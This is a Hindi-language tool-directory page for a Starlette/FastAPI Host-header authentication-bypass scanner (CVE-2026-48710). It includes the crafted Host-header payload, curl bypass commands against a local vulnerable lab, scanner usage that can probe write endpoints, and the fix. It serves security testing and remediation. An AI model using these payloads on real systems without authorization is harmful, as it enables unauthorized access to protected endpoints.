Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
BadHost-CVE-2026-48710-Exploit — CVE-2026-48710 के लिए डिटेक्शन स्कैनर - Starlette/FastAPI में होस्ट-हेडर प्रमाणीकरण बायपास | Kitploit
उपकरण/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
प्रमाणीकरण और प्राधिकरणभेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलैब और अभ्यास
GitHubbhanunamikaze/badhost-cve-2026-48710-exploit

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

BadHost-CVE-2026-48710-Exploit

CVE-2026-48710 के लिए डिटेक्शन स्कैनर - Starlette/FastAPI में होस्ट-हेडर प्रमाणीकरण बायपास

रिपॉजिटरी देखें
153 महीने पहलेअभी तक समीक्षित नहीं

BadHost — CVE-2026-48710 स्कैनर

केवल पहचान के लिए स्कैनर BadHost प्रमाणीकरण-बाईपास के लिए Starlette / FastAPI में — जहाँ प्रमाणीकरण मिडलवेयर request.url.path पढ़ता है, request.scope["path"] के बजाय, जिससे एक क्राफ्टेड Host हेडर अनुमत पथ को तस्करी करके प्रमाणीकरण बाईपास कर सकता है।

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed

प्रभावित: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
ठीक किया गया: Starlette 0.46.2+ में


विशेषताएँ

  • एक पूर्ण URL पास करें (https://host/path) — पथ स्वचालित रूप से प्रोब के रूप में निकाला जाता है
  • FastAPI/OpenAPI JSON या YAML स्पेक (फ़ाइल या URL) से एंडपॉइंट लोड करता है
  • बिना प्रमाणीकरण वाले पथों को स्वचालित रूप से खोजता है जिन्हें इंजेक्शन उम्मीदवारों के रूप में उपयोग किया जा सके
  • Host और X-Forwarded-Host दोनों कैरियर्स, दो पेलोड रणनीतियों का परीक्षण करता है
  • AI/LLM (--preset ai) और MCP (--preset mcp) एंडपॉइंट के लिए अंतर्निर्मित प्रीसेट
  • आउटपुट: टेक्स्ट सारांश, --json, --csv
  • लाइव स्कैन प्रगति stderr पर; कोई तृतीय-पक्ष निर्भरता नहीं

स्थानीय असुरक्षित प्रयोगशाला (badhost_vuln_lab/)

स्थानीय सत्यापन के लिए दो FastAPI ऐप्स के साथ आता है:

ऐपURLप्रमाणीकरण पढ़ता है
असुरक्षितhttp://127.0.0.1:8000request.url.path — बाईपास किया गया
सुरक्षितhttp://127.0.0.1:8001request.scope["path"] — सुरक्षित
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

या बिना Docker के:

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

मैन्युअल बाईपास परीक्षण

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

स्थापना

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

उपयोग

root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid लेखन विधियों के लिए {} भेजता है — प्रमाणीकरण बाईपास के बाद एंडपॉइंट को निष्पादित किए बिना FastAPI 422 ट्रिगर करता है। baseline=403 test=422 परिणाम अभी भी एक SUSPECT खोज है जिसकी जाँच योग्य है।
प्रोडक्शन पर --openapi-body-mode minimal का उपयोग न करें — यह वैध अनुरोध निकाय बनाता है जो लेखन एंडपॉइंट को निष्पादित कर सकता है।


निर्णय

केवल CONFIRMED और SUSPECT आउटपुट में दिखाई देते हैं। एग्ज़िट कोड 2 = CONFIRMED, 1 = SUSPECT, 0 = स्वच्छ।


सुधार

root@kitploit:~
# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Fixed
if request.scope["path"].startswith("/public"):
    ...

Starlette 0.46.2+ / FastAPI 0.116.0+ पर अपग्रेड करें।


केवल अधिकृत परीक्षण के लिए। केवल उन सिस्टम को स्कैन करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है।

टूल डाउनलोड करें
निर्णयअर्थ
CONFIRMEDबेसलाइन 401/403 → परीक्षण 2xx. असुरक्षित.
SUSPECTबेसलाइन 401/403 → परीक्षण 404/405/422. प्रमाणीकरण गेट बाईपास होता दिख रहा है; मैन्युअल रूप से सत्यापित करें। FastAPI से 422 विशेष रूप से महत्वपूर्ण है।
REJECTEDप्रॉक्सी ने बाईपास से पहले गलत फॉर्मेट वाले Host को अस्वीकार किया (400/421)
BLOCKEDक्राफ्टेड अनुरोध अभी भी अस्वीकृत
OPENपहले से बिना प्रमाणीकरण के सुलभ — यह CVE नहीं